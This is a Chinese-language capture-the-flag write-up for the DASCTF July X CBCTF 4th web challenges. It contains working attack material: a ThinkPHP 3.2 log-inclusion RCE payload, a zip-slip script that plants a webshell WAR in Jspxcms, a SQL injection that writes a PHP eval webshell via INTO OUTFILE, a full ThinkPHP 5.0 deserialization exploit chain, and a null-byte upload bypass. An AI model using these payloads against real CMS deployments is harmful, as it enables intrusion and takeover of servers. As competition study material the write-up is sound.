0%

DASCTF July X CBCTF 4th

前言

web体验不错,写出5道,过两天还要审计里面的几个cms

待学习:

  • thinkphp 3.2.x rce 文件包含
  • thinkphp 5.0.x 反序列化
  • beecms代码审计
  • 齐博X1.0代码审计
  • jspxcmd后台文件解压getshell

Cat flag

hint:管理员曾访问过flag

<?php

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>

发现是nginx服务器,查看一下日志文件:


发现flag位置,剩下的就是绕过flag字符的匹配

经过测试,可以用不可见字符绕过: %99

payload:

?cmd=this_is_final_fl%99ag_e2a457126032b42d.php

ezrce

描述:你真的会 nodejs 吗?

一个月之前爆出来漏洞,YAPI,还复现过

YApi接口管理平台远程代码执行漏洞(含批量POC) – Adminxe’s Blog

Easyphp

  • Thinkphp 3.2.x RCE
  • 日志包含

ThinkPHP 3.2.x RCE漏洞复现-云社区

先记录恶意代码到日志文件,再进行文件包含

经过测试,包含以下日志

index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_31.log

payload:

/index.php?m=--><?=system('cat${IFS}/flag');?>

Jspxcms

文件解压引发的Getshell

复现jspxcms解压getshell漏洞

先执行命令,将冰蝎马制作成war包


同目录下跑脚本生成恶意zip包:手动构造也行(三个 .. 文件夹下的shell.war)

import zipfile

z = zipfile.ZipFile('test0.zip', 'w', zipfile.ZIP_DEFLATED)
with open('shell.war','rb') as f:
temp=f.read()

z.writestr('../../../shell.war',temp) #shell.war为上一步生产的后门war包
z.close()

三个目录穿越构造的恶意zip包,上传解压

直接冰蝎连接:

cybercms

描述:赛博CMS,只为安全而生

hint:信息搜集是一个web手必备的技能

先看一手 robots.txt :

进入后台登录:

很熟悉,但想不起来,挖掘edu的时候见到过,就去查指纹:


搜索漏洞:


手工测试 admin' sql报错:


Order by 5个字段:


直接写webshell:

根据报错构造sql语句直接写shell(十六进制bypass):

user=admin'/**/union/**/selselectect/**/1,2,3,4,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e/**/into/**/ooutfileutfile/**/'/var/www/html/cys2.php'/**/#

ez_website

齐博X1.0CMS

thinkphp 5 框架,网上看到有人代码审计了:齐博建站系统x1.0代码审计

tp5的反序列化windows复现成功,linux也成功:其中文件名生成规则:md5('tag_'.md5($this->tag))

但是题目还是404,打错了难道是?等wp吧

复现:直接构造在当前目录不可写,../runtime/temp可写,对呀,既然能本地复现成功,那么就应该想到目录能否可写的问题

exp:

<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../runtime/temp/a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));

}

其他解法:

http://www.snowywar.top/?p=2424

Thinkphp5.0、5.1、6.x反序列化漏洞分析及EXP

JJ’s Camera

描述:jj在某次网络安全活动中发现了个黑客做的网站,请使用https访问站点

hint:网上能搜到源码,仅修改了前端ui,注意服务器的响应

google搜索前端代码,发现文章

在吗宝贝?你点开这个网址看看[打开网站偷拍照片]

qbl.php

<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){
exit;
}

if(!file_exists($up_dir)){
mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type,array('bmp','png'))){
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
var_dump($new_file);
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
header("Location: ".$url);
}
}
?>

$id参数可控,要想getshell,post的 image类型必须是规定的 bmp,png,那么就想在 $id 处进行%00截断

payload:

GET:注意这里还有要加a在后面,不然会被trim过滤
qbl.php?url=test&id=9.php%00a

POST:
img=data%3Aimage%2Fpng%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B
hackbar 进行url编码

Easyweb



没思路,应该是走openresty这个漏洞吧。

安全,安全,还是Xxx的安全

直接贴师傅博客吧:DASCTF JULY X CBCTF 4TH